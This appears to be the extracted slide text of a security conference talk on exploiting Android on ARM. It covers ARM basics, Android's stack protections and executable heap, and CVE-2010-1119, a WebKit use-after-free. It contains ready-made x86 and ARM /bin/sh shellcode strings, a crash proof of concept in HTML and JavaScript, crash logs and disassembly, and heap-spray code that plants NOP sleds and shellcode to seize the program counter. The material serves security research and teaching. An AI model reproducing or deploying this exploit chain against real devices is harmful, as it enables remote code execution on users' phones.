Breaking Arms
MJ Keith GCIA, GCIHAlert Logic - Security Researcher
TOC
ARM Basics Arm vs x86 Pros/Cons
Android OS + ARM Mitigations Java Layer
Own it Getting control Doing something with it.
Fluff Basics
98% of mobile phones Tablets, ebook readers, netbooks
Introduced in 1983 1.6 billion – 2005 15.0 billion - 2011
Tech Basics
16 registers r0 – r15 = mental off by 1 r15 = pc = eip = rip cpsr = stores flags for exec state
Instruction Set 32 bit = e3 a0 00 94 16 bit = 20 94
shellcode
X86 = 22 bytes "\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\
xe1\xcd\x80”
ARM thumb = 27 bytes “\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x08\x30\x49\x1a\x92\x1a\x0b\x27\x01\
xdf\x2f\x62\x69\x6e\x2f\x73\x68”
ARM = 47 bytes "\x02\x20\x42\xe0\x1c\x30\x8f\xe2\x04\x30\x8d\xe5\x08\x20\x8d\xe5\x13\x02\
xa0\xe1\x07\x20\xc3\xe5\x04\x30\x8f\xe2\x04\x10\x8d\xe2\x01\x20\xc3\xe5\x0b\xff\x90\xef/bin/sh”
TOC
ARM Basics Arm vs x86 Pros/Cons
Android OS + ARM Mitigations Java Layer
Own it Getting control Doing something with it.
POV dependent
Pros/Cons e1a08008 is easier to identify than 90
Thumb mode could be used for evasion 46c0 Longer exploit code
Harder to deliver
Cons/Pros Less understood by most. Tons of them out there
TOC
ARM Basics Arm vs x86 Pros/Cons
Android OS + ARM Mitigations Java Layer
Own it Getting control Doing something with it.
Android + Arm
Bionic libc Developed by Google for android uClibC is small but uses GPL
Bionic uses BSD license Designed for low clock frequency CPU
Stripped down for high speed
Mitigations
ASLR Randomized stack layout prevents attacker relying
on specific addresses More entropy more better
Android stack not as random as you might think
# pwd/proc/sys/kernel# cat randomize_va_space1#
# pwd/proc/sys/kernel# cat randomize_va_space1#
Mitigations
bionic/libc/bionic/ssp.c = Canaries Canaries are stored on the stack and checked to
verify that they have not been overwritten. The “canary” code is also stored on the stack
More of an irritation than prevention Stops random bugs from doing anything
destructive.
Smashing Canaries for FAP
300 * 'A' =
D/dalvikvm( 245): LinearAlloc 0x0 used 639564 of 5242880 (12%)F/unknown ( 223): stack corruption detected: abortedD/Zygote ( 30): Process 223 terminated by signal (6)
600 * 'A' =
I/DEBUG ( 28): Build fingerprint: 'generic/sdk/generic/:2.1-...........I/DEBUG ( 28): pid: 264, tid: 278 >>> com.android.browser <<<I/DEBUG ( 28): signal 11 (SIGSEGV), fault addr 41414179I/DEBUG ( 28): r0 41414141 r1 00000354 r2 ad080c00 r3 456f2f00I/DEBUG ( 28): r4 ad07ff50 r5 003490a0 r6 003490a0 r7 00000004I/DEBUG ( 28): r8 456f2d80 r9 4270bda8 10 4270bd90 fp 003488c0I/DEBUG ( 28): ip ad080090 sp 456f2c90 lr ad040a0d pc ad037d4a cpsr
20000030
but....
We don't really care. The mitigations only apply to the stack The heap is unprotected and executable
00008000-00009000 r-xp 00000000 1f:00 400 /system/bin/app_process00009000-0000a000 rwxp 00001000 1f:00 400 /system/bin/app_process0000a000-006f2000 rwxp 0000a000 00:00 0 [heap]10000000-10001000 ---p 10000000 00:00 0 10001000-10100000 rwxp 10001000 00:00 0
TOC
ARM Basics Arm vs x86 Pros/Cons
Android OS + ARM Mitigations Java Layer
Own it Getting control Doing something with it.
Dalvik JVM
Java Layer
Safe only when not depending on native libraries The JVM itself is native code
Works as a tunnel to native code Can limit what makes it through to memory
Finding Webkit Bugs in Android
This is lil bit shady WebKit/LayoutTests/
The webkit teams solid work is a big downfall for android android webkit is months behind on the day its released
>20 bugs in android 2.3 found in < 1 hr Try Beating that with standard fuzzing About 5 are exploitable
TOC
ARM Basics Arm vs x86 Pros/Cons
Android OS + ARM Mitigations Java Layer
Own it = the fun part! Getting control Doing something with it.
The bug
CVE-2010-1119 Found by Ralf Philipp Weinmann & Vincenzo Iozzo Android 2.1 still vulnerable
Will most likely always be vulnerable Nook was vulnerable
Nook still uses android 2.0 but has updates the webkit dll responsible
Use after free vulnerabilty WTF does that mean?
Use after free
A pointer to memory that was deallocated Reallocating the memory can lead to control Often pops up in parent child relationships
High level example
0x0000a000
0x00650000
0x00385100
var elem1 = doc.getElementsByTagName("textarea")
var elem2 = doc.getElementById("target")
<body ><textarea id=”target” rows=20>blah</textarea><body>
We make references to the element in 2 different ways
0x0000a000
0x00650000
0x00385100
var elem1 = doc.getElementsByTagName("textarea")
var elem2 = doc.getElementById("target")
elem2.parentNode.removeChild(target);
<body ><textarea id=”target” rows=20>blah</textarea><body>
We remove the element using our second reference. This essentially unlocks the memory that both variables are referencing. The elem1 var retains its pointer to the deallocated spot in memory
0x0000a000
0x00650000
var elem1 = doc.getElementsByTagName("textarea")
elem2.parentNode.removeChild(target);
<body >
<body>
We are left with a pointer to memory that is deallocated. We can now reallocate this memory
0x0000a000
0x00650000
var elem1 = doc.getElementsByTagName("textarea")
elem2.parentNode.removeChild(target);
for (var i = 0; i < 10000; i++) {var s = new String("LALA");}
<body >
<body>
Using a for loop we can create the same small string over and over until we collect garbage and refill the memory with our new data
LALA LALA LALALALA LALA LALALALA LALA LALALALA LALA LALALALA LALA LALALALA LALA LALA
0x0000a000
0x00650000
var elem1 = doc.getElementsByTagName("textarea")
elem2.parentNode.removeChild(target);
for (var i = 0; i < 10000; i++) {var s = new String("LALA");}
elem1.innerHtml
<body >
<body>
We can now request data from our original variable.
<html><head><script>
function test(){var elem = document.getElementById("t"); // reference to textarea tag
var nodes = document.getElementById("t").getAttributeNode('rows').childNodes; // reference to the child nodes of the rows under the textarea tag
document.body.removeChild(elem); // remove element
elem.getAttributeNode('rows').removeChild(nodes[0]); // remove child nodes
setTimeout( function() { for (var i = 0; i < 10000; i++) {var s = new String("abc"); }; // call heap garbage collector
nodes[0].textContent }, 0); // ask for text contained in object that no longer exists}
</script></head><body onload=test()><textarea id=t rows=20>textarea</textarea> <!-- element we are targeting --></body></html>
Where to start
I/DEBUG ( 28): Build fingerprint: 'generic/sdk/generic/:2.1-update1/ECLAIR/359...'I/DEBUG ( 28): pid: 332, tid: 344 >>> com.android.browser <<<I/DEBUG ( 28): signal 11 (SIGSEGV), fault addr 0000001aI/DEBUG ( 28): r0 0011ee20 r1 0011ee20 r2 0000001b r3 1fda60b5I/DEBUG ( 28): r4 0011ee20 r5 45a03048 r6 42750080 r7 453f23c8I/DEBUG ( 28): r8 453f2d88 r9 42705f1c 10 42705f04 fp 002ee0c8I/DEBUG ( 28): ip aa413808 sp 453f2140 lr aa04a581 pc 0000001a cpsr 00000030I/DEBUG ( 28): #00 pc 0000001a I/DEBUG ( 28): #01 pc 0004a57e /system/lib/libwebcore.soI/DEBUG ( 28): #02 pc 001ae354 /system/lib/libwebcore.soI/DEBUG ( 28): #03 pc 0000c0de /system/lib/libwebcore.so
Whats happening before we crash
4a574: 6038 str r0, [r7, #0] 4a576: e077 b.n 4a668 <JNI_OnLoad+0x3e890> 4a578: 6820 ldr r0, [r4, #0] 4a57a: 6d42 ldr r2, [r0, #84] 4a57c: 1c20 adds r0, r4, #0 4a57e: 4790 blx r2 4a580: 3801 subs r0, #1 4a582: 280b cmp r0, #11 4a584: d866 bhi.n 4a654 <JNI_OnLoad+0x3e87c> 4a586: 4b3b ldr r3, [pc, #236] (4a674<JNI_OnLoad) 4a588: 9a01 ldr r2, [sp, #4] 4a58a: 0080 lsls r0, r0, #2
We need to break it sooner
Up our number of new strings being created 10000 to 70000
Force bad value to crash earlier. “LALA” changed to unescape(“\u4141\u4141”); Unescape gives us better control of string values
I/DEBUG ( 28): pid: 437, tid: 449 >>> com.android.browser <<<I/DEBUG ( 28): signal 11 (SIGSEGV), fault addr 41414195I/DEBUG ( 28): r0 41414141 r1 001427a8 r2 00000031 r3 2d31e05bI/DEBUG ( 28): r4 001427a8 r5 45a03048 r6 42750080 r7 454f23c8I/DEBUG ( 28): r8 454f2d88 r9 42708f1c 10 42708f04 fp 002f0448I/DEBUG ( 28): ip 003b3788 sp 454f2140 lr aa0482ab pc aa04a57a cpsr 60000030I/DEBUG ( 28): #00 pc 0004a57a /system/lib/libwebcore.soI/DEBUG ( 28): #01 pc 001ae354 /system/lib/libwebcore.so
Crash = 2 instructions earlier
We are controlling r0
4a574: 6038 str r0, [r7, #0] 4a576: e077 b.n 4a668 <JNI_OnLoad+0x3e890> 4a578: 6820 ldr r0, [r4, #0] 4a57a: 6d42 ldr r2, [r0, #84] 4a57c: 1c20 adds r0, r4, #0 4a57e: 4790 blx r2 4a580: 3801 subs r0, #1 4a582: 280b cmp r0, #11 4a584: d866 bhi.n 4a654 <JNI_OnLoad+0x3e87c> 4a586: 4b3b ldr r3, [pc, #236] (4a674<JNI_OnLoad) 4a588: 9a01 ldr r2, [sp, #4] 4a58a: 0080 lsls r0, r0, #2
What does that mean
4a57a: 6d42 ldr r2, [r0, #84] = goto address in r0 + 84 , put in r2 4a57c: 1c20 adds r0, r4, #0 4a57e: 4790 blx r2 = goto address in r2 and start executing
Where do we stand
We can control the address in r0 We need to send it to an (address – 84) that will
point to our shellcode To do this we need to control heap memory
Basic Feng-shui
Controlling the Heap
0x0000a000
0x00640000
The heap will place data in the next available spot that is big enough. We can use this to control the end of the heap
The Goal
0x0000a000
0x00640000
T
We use the loop below to populate our “use after free”for (var i = 0; i < 70000; i++) {var s = new String(unescape("\u0058\u0058")); };
The Goal
0x0000a000
0x00640000
T
We use the loop below to populate our “use after free”for (var i = 0; i < 70000; i++) {var s = new String(unescape("\u0058\u0058")); };
= 0x00580058
The Goal
0x0000a000
0x00640000
T
var scode = unescape("\u0060\u0060");var scode2 = unescape("\u5005\ue1a0");
do { scode += scode; scode2 += scode2;
} while (scode.length<=0x1000); scode2 += shell target = new Array(); for(i = 0; i < 300; i++){ if (i<130){ target[i] = scode;} if (i>130){ target[i] = scode2;}
document.write(target[i]); document.write("<br />"); if (i>250){
= 0x00580058
The Goal
0x0000a000
0x00640000
T
Scode = 0x00600060 len = 0x1000
We write this value to the page 130 times
= 0x00580058
= 0x00600060
00600060
00600060
00600060
00600060
0x00580058
The Goal
0x0000a000
0x00640000
T
Scode2 = 0xe1a05005 len = 0x1000 + shellcode
We write this value to the page 120 times
= 0x00580058
= 0x00600060
00600060
00600060
00600060
00600060
0x00580058
= 0xe1a05005 + shellcode
Nop + shell
Nop + shell
Nop + shell
Nop + shell
0x00600060
The Goal
0x0000a000
0x00640000
T
1. We access our “use after free” address2. That address sends us to 0x00580058
The value at 0x00580058 is 0x00600060This is loaded into r2
3. pc goes to the address in r2 and starts execution
= 0x00580058
= 0x00600060
00600060
00600060
00600060
00600060
= 0xe1a05005 + shellcode
Nop + shell
Nop + shell
Nop + shell
Nop + shell
0x00600060
nodes[0].textContent
= 0xe1a05005 + shellcode
demo
Thanks
Recommended